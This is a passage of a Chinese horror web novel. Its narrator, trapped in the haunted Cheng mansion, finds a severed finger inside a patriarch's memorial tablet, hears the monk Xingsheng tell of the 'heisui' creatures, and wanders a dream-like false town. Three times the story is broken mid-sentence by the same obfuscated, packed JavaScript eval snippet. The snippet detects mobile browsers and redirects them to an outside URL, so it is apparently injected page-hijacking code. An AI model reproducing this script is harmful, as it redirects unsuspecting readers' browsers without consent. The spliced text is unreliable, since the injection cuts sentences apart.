程碑去世在前,程家垮台在后,既然程碑依旧当了鬼宅的老太爷,那么问题大概就是从他开始的。我忽然想起来一件很重要的东西——家族史,普通家庭自然没有这个,但程家是大家族,想必这东西和族谱一样都被存放在某处,最可能的地方就是祠堂。左右耳房里都没有,我只能不太尊敬地在供桌周围翻找。 忽然一阵风吹过我的耳畔,硬生生把我吓得瞬间僵直。 我回头看了一眼禁闭的大门和空荡荡的房间,鼓起勇气清了清嗓子说道:“我只是来找族史学习一下,你们都是长辈,就不要吓唬我这个小辈了。况且你们被困在这里肯定也不会太舒服,如果真的想告诉我什么的话,可以在墙上写个字。不写的话,我就当你们都没意见啦。” 我一紧张就容易絮絮叨叨,这些话说是给程家先祖听的,实际上只是为了壮胆子。从程碑到现今已有百年,再往上推到程家先祖又不知是几个百年,再厉害的鬼也该消散了,我只怕祠堂里根本没有先祖的鬼魂,反倒是一些别的东西来鸠占鹊巢。 烛火跳动了几下又恢复平静,我继续翻找起来,供桌的抽屉里空无一物,我想了想将手伸向那些牌位。我第一个拿的就是程碑的牌位,做工很精细,拿在手里沉甸甸的,一看就知道是好木料。只是它的底座却多了一个红色的同心圆,我凑近闻了闻,只带着一点发闷的木头香味,闻起来感觉不太舒服。 然后我又拿起周围的几个牌位看了看,是一样的厚实,只是没有同心圆。难道牌位真的有古怪?我压抑着剧烈跳动的心脏敲了敲底座,在我的仔细扒拉下,还真让我在底座上找到了一条极其微小的缝隙。 直觉告诉我,缝隙里一定隐藏着什么。牌位在制作的时候就是如此,如果没有工具肯定拆解不出来,我看了一眼贫瘠的手边,只好颤颤巍巍将牌位放在了长生烛上烤。这可是程碑的牌位,因为过于心虚,我的手都抖个不停,眼睛也一直往门那边瞟,想着如果程碑出现我就赶紧将牌位归放原位。 程碑没有出现,随着“咔嚓”一声微响,我直接拆开底座拿出了里面的东西。 “这是!”当我看清楚底座里装着什么东西的时候,我的大脑已经被吓成一片空白,身体更是勉强撑着桌子才能站立。 这是一截人的手指。纵使我见过程婆婆杀人的血腥场面,但毕竟是别人的记忆,而我手里拿着的却是一截还没腐烂的苍老的手指。 我匆忙将手指放到桌上,转过身弯腰就呕吐了起来。我本就没吃早饭,此时只觉得头昏目眩,胃部抽搐得难受。指尖似乎还能感受到那股恶心的触觉,我多看一眼手指就要继续呕吐。 浓稠的黑色透过门缝窗缝渗透进来,迅速朝我的方向涌动。我感觉粘黏异常的东西缠住了我的脚踝,烛火猛烈地跳动起来,我慌乱将长生烛拿在手里。看着黑色退去了一些,我突然意识到了它们的弱点,它们怕的竟然是长生烛! 12. 真相 当我一手提着牌位一手端着长生烛冲出祠堂的时候,我终于听清了那些细碎的声音。 “刚才祠堂里闯进了一个疯子,她手里还拿着长生烛!” “啊!她身后都是那些东西,她死定了吧。” “这些东西永远都喂不饱,就像要饿死的狗。呸!” “我要出去,放我出去!……” 我被同化了。虽然灯火通明的房间里没有人影,但我能明显地感觉到有许多双眼睛就在窗子后盯着我,令我脊背生凉。可它们似乎又是没有恶意的,顶多像看热闹一样蛐蛐我是一个疯子。 我本就不太有方向感,此时被追着只能慌不择路地乱跑,连正堂和程碑居所都找不到,最后奔着亮光就跑回了走廊。 我被逼到走廊角落,黑色堪堪停在了我脚尖前,我看见它们咕涌着形成一堵墙将我的视线挡住。但我却松了一口气,只要活着就好。我和程翠她们的距离只隔了面墙,只要我身后的这扇门一开,我就能和她们碰面。 跑得累了,我就蹲在走廊门口的角落抠墙皮,肚子咕噜叫了一声,我着实饿了。然而一看到被搁在地上的牌位时,恶心感顿时又涌了上来,饥饿感和恶心感交替,弄得我十分难受。 冷静下来后,我一边警惕眼前的黑色,一边梳理今天的发现。袁怔曾说他觉得这些吃人的东西和宅子是共生关系,程碑也承认死去的人都是喂给了它们,可见两者之间一定有联系,只是不知道它们的存在是程家逆天改命的副作用还是程碑特意引来的。而且打不开的房间虽然禁锢了程家人,但也在一定程度上保护了他们。这样一想,我便不担心袁怔了。 不知道过了多久,我身后的墙壁才向两侧打开,我拿起牌位和长生烛就冲了进去。 “老师!” “姐姐!” 袁宋和程翠都在,却不见蔡思琪和宁雪,我立即意识到现在是午饭时间,所以厅堂是非安全的。 糟了!我立即向两人大喊:“站到我身边来!” 所幸他们没有怀疑我,我们三人迅速靠在一起,我拿着长生烛不方便,顺手就将牌位塞给袁宋。黑色安静地环绕在我们身边,似乎在等我们先放弃,我便也生出耐心和它们死磕到底。 “老师,这到底是怎么一回事?”袁宋不问还好,一问我就气不打一处来,蔡思琪她们都知道自保为上,他却学他爹冲动,而且自己瞎闯也就算了,还带着程翠一起,真不让我省心! 于是我劈头盖脸对两人就是一通指责:“谁让你们在这里等的?你爸是怎么消失的你不知道吗?万一我没出现,你们俩就是神仙也难救!” 或许是我的语气太冲,两人都噤了声,过了好一会儿袁宋才开口打破了沉默:“老师,对不起,我知道这样做很危险,但过了早饭时间你还没有出现,我只是想去找你。至于程翠,她有自己的选择。” 他用一双诚挚的眼神看着我,程翠的眼里则多了一丝悲戚。我看着两人,认命地叹了口气。我理解少年的冲动,谁不是从这个时期过来的,那时候的我们还怀揣着对世界的赤忱,或是像袁宋一样为了在意的人奋不顾身地冒险,或是像程翠一样博爱到愿意为了大局牺牲自我。 也许我不该这么严厉的,我不能因为自己的卑微成长来苛求他们。 “你们没有对不起我,我只是不想看到你们这么冲动,明明看到两个人都消失在厅堂还是闯进来,连自己的性命也不顾。”我的语气缓和下来,拉着他们背靠背坐在地上抵挡黑暗的侵蚀。 “可是姐姐不也是一直冲在最前面吗?”程翠突然开口。 对上略显迷茫的程翠,我无奈地笑了笑:“那是因为我没办法。最开始来到这里的时候,我多希望有高人出现救我于水火,这样我就可以像鹌鹑一样缩在后面苟活就好。但我没等到高人,我以为能驱鬼的行胜和尚一直保持沉默,作为稽查员的袁先生都自顾不暇,我既然阴差阳错得到了这么多信息,自然要拼命一把。” “但我和你们是不一样的,我是为了自己的性命。”我又补充了一句。 “但老师自始至终没有隐瞒过任何线索,你没有同意程翠的牺牲,也说过会帮我找到父亲,你没有只为自己。” 我一时语塞,倒不是同意他的说法,只是觉得这样的解释有些意外。程翠也朝我点点头,然后靠在我的肩膀。 我们忍耐了一个小时黑色才渐渐散去,我意识到宅子里的吃人东西并不是同一个,游走在走廊里、会模仿人的是一块,游走在正宅里、在特定时间窜到厅堂来的是另一块。 危险解除后,我同二人讲了在正宅的经历,得知袁怔还活着的袁宋喜形于色,同时又有些后怕如果当时自己没有将护身符递给他会是怎样的结局。我让袁宋别想这么多,袁怔用不着担心,说不准在里面还会找到别的东西。 “老太爷真的让姐姐做继承人?那他应该会保护姐姐吧。”程翠问我。 “别信他画的大饼,他只是想让我成为他的怅鬼而已。你想他都成老鬼了,鬼又不用死,要继承人做什么?古代的皇帝要是有了长生之术,怕不是要把子孙都赶尽杀绝。” “所以他不会顾念高祖母,也不会在意我。”程翠垂下眼,语气有些失落。 “当然,旧时代的当家人都是这样的。他们嘴上说着顾全大局、家族利益,但冠上再多的溢美之词也掩盖不了他们随意抉择他人意志的暴政本质。”一想到程碑想要我的性命,我就气愤填膺,批评他时毫不留情面。 两顿饭都没吃的我饿得不行,看见程翠白嫩的脖颈就有流口水的冲动。兜里的奶糖也吃完了,为了忍住饿意我甚至主动去回想摸到断指的那一幕,只要够恶心,就能压抑住我的饥饿感。 “好饿好饿。”我心里念叨着饥饿,靠着桌角迷迷糊糊睡了过去。 最后还是程翠把我摇醒了喊我去吃晚饭,我一听到动静立即从地上跳起,飞奔到饭堂,不顾几人惊愕的神情盛了一碗饭菜就大快朵颐了起来。 “姐姐,你慢点吃。” “啊!”好恶心的鸡爪,我一筷子将夹起的鸡爪甩飞出去,转身抱着角落的垃圾桶就疯狂呕吐。很抱歉我打扰了大家的食欲,但我控制不住内心的恶心感。一看到鸡爪我就想起那一截手指,干枯皱皮的手指,它的触感让我终身难忘。 宁雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156088|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和蔡思琪在向袁宋询问我的情况,程翠则蹲在我身边轻拍着我的后背。我有些懂了狄堂的感受,比恐惧更可怕的是深扎在内心的不安,你不知道什么时候它就会出现,如藤壶一般紧紧地附着在你身上,你无法将它挖出,只能日日夜夜忍受着煎熬,直到你同它一起消亡。 没怎么进食的我身体虚弱得很,连走路都不大有力气。趁着还没熄灯的空隙,我叩响了和尚的房门。 “我知道法师没有锁门,这样和自寻死路有何异,还是法师想仿效释迦牟尼佛割肉饲鹰?”我没有十足的把握让他开门,于是又喊了一声他的法号,“行胜法师。” “罢了,我随你去吧。”在众人惊讶的目光下,行胜打开了房门,神色复杂地看了我一眼,然后跟着我来到厅堂。 已经是夜晚,只有走廊的灯还亮着。程翠体贴地为我和行胜各准备了一碗饭菜以备我们饥饿时用餐,我此时不大有胃口,就让她帮我先收起来,我现在有更要紧的事情问行胜。 “法师,百年前的那场法事真的只是诵经超度让程碑入土为安吗?”昨晚我就在想这件事,行胜来到这里的缘由真的只是因为他是如庸的传人吗?超度法事原本常见,但正如宁雪所说,和尚本身就有驱邪的能力,正巧程家和程碑都同邪祟脱不了干系,我不得不怀疑行胜本身就是为了这场法事而来。 行胜盘坐着,神情有些戚戚:“你知道当年的事?” “嗯嗯,”我急忙点头,“托曾祖母的记忆见过一点,至于如庸法师的身份我是从程碑那里得知的。” “原来如此,”行胜神色颓然地叹了一口气,“如是我闻,原是我修行不够,才不能了却这一段因果。” 那又是怎样一段往事呢?我和众人围坐在一起,听着行胜缓缓道来。那是一段并不光彩的往事,无论是对程家还是对寺庙。 如庸被寺庙养大,早慧却又胆大恣意,全不像其他弟子,住持担心他偏执异端,便将他拘着长大,也赐了“庸”字。后来随着他术法的愈加精练,他便理所当然成了方丈,并开始干预红尘事务。那时战火纷飞,无论是谁都无法独善其身,于是便有了他同程家的合作。 “寺中并非只有佛陀。”行胜说。我似乎明白了他的意思,也就是说那些黑色的东西与寺庙有关。 不过即便是如庸,他也不知道那些东西是从何而来,只称它们为黑祟。寺庙只对它们有一些压制而不能完全消灭,程碑亲眼见过它们复生的能力,便同如庸合作将它们引入了程宅。程碑死后借它们“复生”,就变成了如今这副样子。如庸住持的那场法事,既是程碑的“复生”仪式,也是黑祟的压制仪式。 天行有常,程家衰败之势不可阻挡,程碑早在家族衰败早期就做好了后面的布局,他甚至利用了自己的丧事,在场的程家人都在他的掌控之中。这场布局需要百年,所以他没有一次性赶尽杀绝,而是任由程家血脉延续,为程家复兴积累更多的养料。 “他舍得利用所有人,但最终还是舍不得牺牲程翠。”宁雪喟叹一声,唇边露出一丝苦笑来。 蔡思琪讽刺地看了程翠一眼:“那又如何?她的后人还不是来了?” 13. 黑祟 “为什么隔了这么多代弟子才由你来了结这桩事?”我问行胜。如果寺庙想管,怎么会由着程碑猖狂百年? 行胜目光沉静地看着我:“这便是因果,我的俗身也有程家的血脉,机缘巧合之下我又回了那座寺庙修行,经师父指点才来到这里。” 我一时不知道该说什么好,我想过众人和程家的关系却唯独没想过他的,行胜的名字不在那本册子上也只是因为他已是出家人。 袁宋感慨程家血脉源远,我却不以为然。从古至今这么多姓氏迭代,我也可以大言不惭地说我和世上的所有人都有血脉联系。我本身对姓氏和血脉的归属感就不强,如今经历了这一番遭遇更觉得荒谬,再提起程家后人的身份时只能一笑了之。 肚子“咕咕”叫了两声,程翠端来已经凉了的饭菜让我多少吃一点,我勉强吃了半碗,只觉得味同嚼蜡一般。 明天就是行胜和程婆婆来到这里的第十天了,按照袁怔的说法,和程家毫无血缘关系的外人应该可以出去了。如果这个说法是真的,那么能离开的只有袁宋和必定会精神失常的袁怔。我不想死在这里,所以我一定要找到出去的办法。 离开的希望就在眼前,我看得出来宁雪和蔡思琪这次是心甘情愿同我们合作了,随即我不免怅惘,如果程婆婆她们也活着就好了。 “这一切要怎么结束?程碑可以被杀死吗?”蔡思琪问行胜。 “程碑和宅子是依靠黑祟才复生的,只要黑祟不祛除,它们就不会被杀死。”可是黑祟本身就有“复生”的能力,杀死它谈何容易,当年的寺庙都只能将它镇压,我不觉得我们这几个人有这么大的能力。 “黑祟是杀不死的,只能将它和程宅剥离开,”行胜看出我的疑问,对我摇了摇头,然后又将目光投向我带出来的牌位,“它就是黑祟和程碑之间的连接。” 我忙将牌位底座拆开给他看:“这一小截指头是程碑的吗?它有什么作用?” 蔡思琪她们只听说过我在宅子里见到了恶心的东西,如今亲眼看见断指,都面色发白,忍不住反胃。 “我终于知道为什么你吃不下去饭了,这也太……我们今晚吃的甚至还是鸡爪。”宁雪拧着眉,一边面露恶心一边同情地看着我。 行胜接过断指看了一眼,又面色平静地将它放回原位,似乎一点也没有受到影响:“是程碑的手指,当初黑祟就是通过这东西让程碑‘复生’。其实这也不是真正的复生,只是让他的灵魂长久存在罢了。” 幸好是长久存在而不是永生。我相信世上没有永生,因为没有什么会永垂不朽。黑祟是吃血肉的,“复生”鬼魂靠的也是血肉,我想血肉应该是关键。 “是不是要毁掉这截手指,或者,”我犹豫着说出了另一种可能性,“毁掉程碑的尸身?” 其实我更希望是前一种可能,且不说程碑的尸身是否在宅子里,就算在,我们也不大可能瞒过程碑的视线去做毁尸的事。 然后我又去梳理宅中存在的矛盾之处。黑祟不能进被锁着的房间,但能进祠堂,所以程碑毫不担心我去祠堂查探,能否找到线索还是一回事,即使我发现了秘密,也会被黑祟吃掉。虽然黑祟能进祠堂,祠堂里的长生烛却可以逼退黑祟,程碑没有考虑过我的性命,所以长生烛存在的作用恐怕只有一个:保护牌位。 然而阴差阳错之下,我找到了祠堂里藏着的秘密,也避免了被黑祟吃掉的命运。“造化之机,不可无生,亦不可无制”(1)。矛盾是生克之道,也是生机蕴含之处。想起程碑为设这个局可谓费尽心机,我不免觉得有些讽刺。 行胜犹豫了一会儿,决定从程碑的手指上着手。当年的仪式已无从记载,他只是听从方丈的吩咐来到这里斩断黑祟和程宅的联系。我想,方丈也不是只为了行胜,因为这宅子做下的孽也有一部分因果要算在当年的寺庙头上。如庸自以为这样“两全其美”的法子可以让寺庙高枕无忧,便对程碑和黑祟的恶视而不见,什么独善其身,只是自欺欺人罢了。 神神叨叨的事我一窍不通,将牌位和长生烛都交给了行胜后,便转头去了一旁休息。连续几日的神经紧张,又要同老奸巨猾的程碑打交道,我已经很累了,一放松下来就不愿再动弹,也不想再管旁人。程翠见我面色疲惫,主动走到我身边坐下,朝我露出浅浅的笑容:“姐姐可以靠着我休息。” “不用了,你自己休息好就可以了。”我看着她不算强壮的肩膀,摇摇头没有接下她的好意。蔡思琪听到这边的动静,目光朝我投来,又在我和程翠身上打转。 我抬眸看了她一眼,发现她很在意我和其他人的关系,看着我的时候总是在估量着什么。这本没有问题,但程婆婆就是利用这一点挑起了她们对袁怔父子力保程翠的怀疑,因此我对她的视线也格外敏感。 “袁怔和你同样进了宅子,为什么他被困在里面了,而你一点事都没有?”打量许久,蔡思琪终于开口问我。 我没想到她会问这个问题,顿时心头一跳,果不其然,我感受到了袁宋投来的视线。但我没什么好说的,袁怔被困其实都在程碑的算计之内,落得如今的境遇只能怨他自己行事冲动又时运不济。不过这话我只能在心里想想,并不好对袁宋说出口。 “因为他估错了时间,程碑只会在早餐时间出现,”面对众人不解的眼神,我又补充了一句,“这也是我的猜测,我建议你们不要亲自去尝试,否则和他一样后神仙也难救。” 法事开始了。长生烛点燃了装着程碑手指的牌位,行胜盘坐在牌位前,闭着眼睛双手合十,嘴里在念叨着我听不懂的语言。在烛火的映照下,我隐约觉得众人的五官都有些扭曲,她们的眼睛耷拉下来,像是在斜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156089|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着瞟我,唇角微微上扬,却又像是在哭。 我正放松了身体发呆,猛然抬头就被这副景象吓了一跳。我匆忙眨了眨眼,又小心翼翼往行胜那边挪去。 可我离得近了才发现自己根本没有眼花,他们的脸确实是扭曲的!我看见他们的五官皱成一团,脸上露出似痛苦又似愉悦的表情。他们的眼睛还在盯着我,那种粘稠的带着狩猎欲望的眼神让我如芒在背。 “你们……”我刚开口,行胜就回过头来,我看见他浑身都在颤抖,嘴唇哆哆嗦嗦,突然,他的口中发出了一声锐利的尖笑。 我吓得瞬间从地上弹起,顺手抄了一把椅子就护在身前,警惕地提防众人。他们看到我的动作也缓慢起身,一步一顿地朝我走来。 他们是五个人,我觉得我已经在劫难逃了。但我不想放弃,紧握着椅子的手因用力而泛白,我留意着他们同我之间的距离,在他们离我还有半米远时猛地将椅子挥了过去。 “砰”,第一个被我挥倒在地的是程翠,接着就是袁宋、宁雪、蔡思琪和行胜。我不知道自己哪里来的这么大力气,但现在的情形已经不能让我多想了,我看着他们倒在地上后又缓缓站起身,于是又用力地挥了上去。 这太恐怖了,我从来没有见到过如此怪异的景象。我的大脑被惊惧占满,手上的动作也只是机械化的挥舞。我不敢停下来,我怕死。 我猜是他们的异常和行胜的做法有关,该死的程碑果真留了后手。长生烛和正在燃烧的牌位就在我的脚边,我却犹豫着不知道该不该中断。眼见着自己即将不敌,我咬了咬牙,迅速弯腰腾出一只手抄起了长生烛。 即使这样长生烛的烛火都没有灭,质量真的太好了,不愧是“长生”。 我的另一只手仍然举着椅子,但我已经没力气攻击了,只能死死攥着护在我身前的椅子。不知道是不是长生烛的作用,他们站在离我半米外再也没有靠近,我暗暗松了一口气,将椅子放了下来,仍然贴在我的腿前。 胳膊有些酸,我自认为力气不小,平时提水抽水都不在话下,但如此频繁的挥舞攻击还是让我感到劳累。如果这次能平安出去,我一定要好好锻炼力量。 我端着长生烛和他们僵持了很久,最后索性直接坐到椅子上继续同他们耗时间。其实我不能确认他们对我是否有攻击的意向,但面对这么多人,以防万一我还是先出手了。或许是我刚才的攻击过于强悍,他们身上脸上都有深浅不一、红肿青紫的伤口,有的伤口甚至还在流血。我看着他们熟悉的面孔,有一点愧疚,但也仅此而已。 能确保自己的安全后,我的心头就放松了下来,疲惫很快占据我的身躯和脑袋,我的意识开始昏昏沉沉起来。不是昏迷,我只是单纯的困了。 注:(1)[明]张介宾,《类经图翼·卷一》【M】,P34. 14. 中邪 我醒来是在一栋空空荡荡的小楼,天已经亮了,我正四仰八叉地躺在地上,身边空无一物,头顶是高高的灰格子天花。大门大喇喇敞开着,风从破碎的旧窗子吹进来,发出“呼啦”的声响。 这里是什么地方?我迅速从地上爬起,觉得身上尤其是胳膊有些酸痛。这是一栋随处可见的二层小平楼,一楼像一间正正方方的盒子,散落着积满了灰尘的红木沙发和几张东倒西歪的桌椅,角落里满是灰尘和落叶。我看向有些剥落的墙壁,上面张贴着不少歪歪扭扭的传单,传单几乎都是一个样子,上头是“找家教”三个大字,下面是同一串电话号码。 我忽然觉得有些熟悉,无论是电话号码还是我所处的这栋宅子。我在哪里见过它们?我锤了锤脑袋,却怎么也想不起来。 对了,我为什么又在这里?我该不会是梦游了吧。浑身一个激灵,我急忙跑出了楼栋,楼外还有一个院子,荒芜得连杂草都没有几根。这里太荒凉了,让我仿佛置身于恐怖现场,明明是夏季的天,我却感觉后背一阵凉意。离开时我回头看了一眼,可能是我的脑补能力太强,我总觉得楼栋的角落里有什么东西正在看着我。 我昨天好像什么事都没做,我一边回想着昨天发生的事一边往回走。自从搬到上襄镇我就懒惰了很多,不爱出门不爱上网,除了做饭就是发呆,哦,偶尔还看看书,不过看着看着就会发呆。这种日子宁静得让人堕落,我想起以前的奋发向上,不免有几分羞愧。 路上我见到一个推着婴儿车的中年妇人,她笑着同我打了招呼:“这么早就出来买菜啊。” “嗯嗯,出来弄点吃的。”我急忙点了点头,脸上又堆出标准的微笑。其实我只见过她几面,都算不上认识,因此也没有继续同她攀谈的打算。她也没再说什么,我们俩人就此别过。 开锁推门,洗漱做饭,一切都如此自然,我一时都没有意识到自己在外面睡了一晚上有什么不对。 朋友打来电话询问我的近况,我告诉她们我正在休养,她们便絮絮叨叨地关切了一会儿我的身体状况。听到她们的关心,我心里顺畅多了,同时又有些怅惘,毕竟我是一个人住着,很久没同她们见过面了。 “你现在住在哪里?我来找你玩呀。”朋友宁雪嬉笑着问我。 “我住在上襄镇。” 过了好久宁雪才回我信息:“这个地方在哪里呀?地图上搜不到。” 怎么可能?我心里感慨手机地图软件的智障,决定直接发给定位给她们好了。可是当我打开地图,我发现我所在的定位竟然是“下襄镇”。 上襄镇,下襄镇……我有些迷糊了,难道是我记错了这么长时间?我又去翻找租房合同和购物软件中的地址,都是下襄镇无疑。应该是我记错了吧,我这样想着,其实内心仍有些犹疑。 “好了好了,别纠结这个了,说好了啊,这周六我来找你。”和宁雪说了一会儿,我心底的那些犹疑又消失不见,只想着现学一些好吃的菜来招待她。 我觉得日子过得特别快,我只是和朋友聊了一会儿天就过去了半日,日头高悬,我眯着眼看了一眼外面的晴日,明明是酷暑天气,可我待在房间里并没有感觉到炎热难耐。 最让我意外的是宁雪下午就来找我了,这个时候我只收拾了屋子,还没来得及买菜。 “你不是说周末过来吗?”看见她我虽然欣喜,但也架不住疑惑,周末明明是两天后,她又在外地,是怎么做到下午就到镇上来的? 她将酒和糕点放在供桌上,然后给了我一个大大的拥抱:“今天已经是周六了呀,你不工作后怎么连日子都记不清了啊?” 我承认我这个人是有些糊涂,但还没到记错日子的程度。何况这日子是一天天过的,我分明没有这两天的记忆,怎么会一下子就跳转到周六上来?我有些着急地去翻看日历,却发现真的如她说的一样,已经到周六了。 “不对,这不对。”我喃喃道,站在原地感觉大脑一片迷茫。 宁雪伸手探了探我的额头,神情担忧:“也没发烧啊,怎么尽说些胡话?” “你该不会是中邪了吧。”不知道是不是我的错觉,宁雪说到“中邪”二字的时候唇角微勾,眉眼也向下弯起,给人一种邪邪的感觉。我眨了眨眼,她又恢复成担忧我的模样。 心脏阻滞得厉害,我有些呼吸不畅,我觉得我身上有些不对,首先是镇名,然后是日期,真的是我中邪了吗? “你乖乖去床上躺着吧,我来做饭。”宁雪同我擦肩而过,轻车熟路地来到厨房,从冰箱里拿出肉就开始处理。我看见血水染红了砧板,又滴落在地。 肉不是这么处理的!我想提醒她,却发现自己只是长大着嘴巴说不出话来。而且,我的冰箱里根本没有肉。 “肉沫香,放葱姜,你吃肉来我喝汤……”宁雪轻声哼着不知道从哪里听来的民谣,我看着她这副样子,思绪逐渐抽离。其实我没有关于她的记忆,换句话来说,我并不认识她。她为什么成了我的朋友?她为什么又来到来到我的身边?这些我都无从得知,我只能看着一个陌生的姑娘占据着我的厨房,处理着我没买过的食材。 我不认识她。我仓皇转身打开了客厅的大门,一个老妇正挎着菜篮站在门前看着我。 “程婆婆。”我脱口而出,然而当我仔细打量她的时候,我发现我也不认识她。 “丫头哪里去啊?我来给你送鸡蛋。”她对着我远去的背影大声喊着,然而我已经逃离了这座屋子。 “什么,车没油了!走的时候我就跟你说再加点油,你总是不听。”一个年轻女子侧过头正对着空无一人的座椅絮絮叨叨。我下意识抬头看去,看清了女子的面容——蔡思琪。这时她似乎察觉到我的视线,回过头直直地看着我,她的目光很冷,我被她盯得如芒在背。 我嗫嚅着嘴唇想说些什么,最终没有发出声音来。我慌张地避开了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156090|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的视线,又向前方跑去。 然后我见到了杨菊,她正温柔地牵着一个孩子的手,低头同她说着些什么,我听见孩子说:“姑婆婆对我最好了!” 看着她亲和的模样,我下意识停住了脚步,我看见她抬起头向我这边看来,眼中依旧温柔,嘴巴一张一合:“快逃。” 我只能继续往前跑,我看见寻常的街道忽然变得很宽,周边的房子也变得硕大无比,它们挤压着弱小的我,让我喘不过来气。两边的居民房里陆陆续续走出很多人,他们有男女老少,服装各异,都站在屋子前一眨不眨地注视着我奔跑的身影。直觉告诉我他们无法离开那些屋子,所以他们只能将目光都放在我的身上。 为什么好好的镇子会变成这个样子?我不明白。我跑得并不快,我只是想把那些不适的视线都抛在身后,我不知道自己能不能跑出镇子。 寺庙传来洪厚的钟声,我循着声音跑去,却在寺庙门前硬生生止住了脚步。只见一团涌动的黑色将寺庙包裹,它蠕动着似乎想将寺庙吞噬。一个中年和尚就盘腿坐在院子里,他嘴里不停地念叨着咒语,身体却止不住地颤抖。 我无处可去了,连神佛所在的寺庙都不能庇佑我。 “小丫头。”有人在喊我,我回头就看见了一张满是皱纹却有些慈祥的脸,是我的曾祖母——程学英。 “小丫头又乱跑,”曾祖母嗔怪地看了我一眼,掰掉龙头拐杖从里面拿出一颗糖递给我,“吃了糖可不能到处乱跑了啊。” 终于看到了亲人,我有些想哭。我接过了她给的糖却没有放在嘴里,只是追念地看着她:“太太怎么在这里?” 曾祖母笑了笑,抬手摸了摸我的头:“我来看我的孩子有没有走丢。” “学英!学英!”那是一道如曾祖母一样苍老的声音,我好奇地看去,是一个六十多岁的老妇。 “娘。”曾祖母回头,瞬间露出我从未见过的儿女情态,步履蹒跚地向那个老妇走去。我听见她声音里的颤抖和欣喜,原来她就是曾祖母的母亲,一个比曾祖母更加慈祥的妇女。她微笑着朝我点头,又牵起了曾祖母握着拐杖的那只手,牵着她缓缓朝回走去。 她们没有叫我一起回去,我想我大概是回不去了。我茫然地站在原地,看着被圈在屋子里的人们,看着正在被黑色吞噬的寺庙和虚弱的和尚,看着高祖母牵着曾祖母缓缓行走在这个并不真实的世界里。 这一切都是虚假的,我住的镇子叫上襄镇,我并没有一个还在读大学的朋友,也不认识要送我鸡蛋的程婆婆。蔡思琪训斥的那团空气是早就死了的狄堂,杨菊让我“快逃”是出于她最后的善心。至于高祖母和曾祖母,我见到的是她们去世时的模样,所以高祖母看起来才会比曾祖母年轻。 这个荒诞的梦!我咒骂了一句。我想起自己已经被同化了一部分,那是一部分带着记忆的生魂,所以我的记忆才会如此混乱。 我该逃离这里了。 15. 离开 当无论怎么跑也跑不出镇子的时候,我就意识到我该原路返回了。 街道和民居已经恢复成了正常大小,居民也自在地在街道上行走,或是搬了椅子坐在门前唠嗑。我抬头看了一眼光芒正盛的太阳,知道这一切还没有结束。居民的正常反应只是表象,因为这是在日头正盛的时候,不用在户外工作的正常人都缩在房子里或是待在阴凉下,而不是若无其事地承受狠辣的日光。 我快步往回走去,笼罩在寺庙上方的黑色已经消失不见,杨菊牵着孩子对我视若无睹,蔡思琪正开着车缓缓行驶在小路上。我又来到了租房,程婆婆正满面慈祥地递给宁雪一袋子鸡蛋,宁雪则笑着同她道谢。宁雪已经鸠占鹊巢了,我闭了闭眼,路过屋子的时候最终没有和她打招呼。 是什么时候出现问题的呢?脑海中浮现出那栋空荡的小楼,我尽力压抑内心的恐惧,小跑着向它奔去。 我又回到了最初醒来的地方,如果不是这怪异的一遭,我也不会想到我一开始出现的地方竟然是最有可能存在生路的地方。很多问题的答案就和灵魂的归宿一样,来于兹,归于兹。 我先是扫视了一遍一楼,密密麻麻的传单被风一吹发出“呼啦啦”的响声,“找家教”三个字已经被“快逃”儿子取代,黄色的大字让人触目惊心,我似乎能看见那些蠕动的黑色裹挟着鲜红的血从四面八方涌动进来。虽然我的心脏还是抑制不住地剧烈跳动起来,但我却移不开脚步,我只能向上走。 我踏上了通往二楼的楼梯,每一步都让我胆战心惊。二楼并不是水泥地,我站在上面如同踩在透明的玻璃上一般,低头往下看,是一座古旧的中式大宅子。宅子灯火通明,每一个房间里都关着一个灵魂,他们或躺或坐,或笑或骂,但都出不去房间。我将目光投向最中央的正堂,里面坐着一个穿着黑色绸缎大褂的老人,他似乎察觉到我的视线,抬头向我望来。 程碑!这个名字在我心里脱口而出,尽管我不记得我认识他。他的目光狠戾如狼,让我如芒在背。 该怎么离开这里?我心里越来越急,顺手从口袋里摸出曾祖母给我的糖。看清糖的那一刹那,我几乎要将它扔出去。这根本不是糖,它是一截人的手指! 宅子里突然窜起一簇火苗,将火点燃的是一个有些瘦削的姑娘,在她身后不远处一个男生正被黑色捆绑了卷到高处。心领神会一般,我将手指丢向了那簇火苗。“嘭”的一声,火光四溅,姑娘循声抬头看向我,对我露出了一个浅浅的微笑。 